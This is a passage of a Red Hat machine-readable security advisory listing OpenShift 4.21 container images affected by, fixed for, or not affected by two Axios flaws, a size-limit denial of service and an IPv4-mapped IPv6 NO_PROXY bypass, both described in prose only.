"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Denial of Service due to unenforced request and response size limits"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-289",
"name": "Authentication Bypass by Alternate Name"
},
"discovery_date": "2026-06-11T17:00:56.761751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487938"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in Axios, a JavaScript HTTP client library, that allows for a proxy bypass. When a `NO_PROXY` environment variable is configured to prevent direct connections to specific IPv4 addresses, an attacker can craft a request URL using the IPv4-mapped IPv6 address format. This bypasses the intended `NO_PROXY` exclusion, routing the request through the configured proxy and potentially exposing internal services or sensitive information, such as cloud instance metadata credentials.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
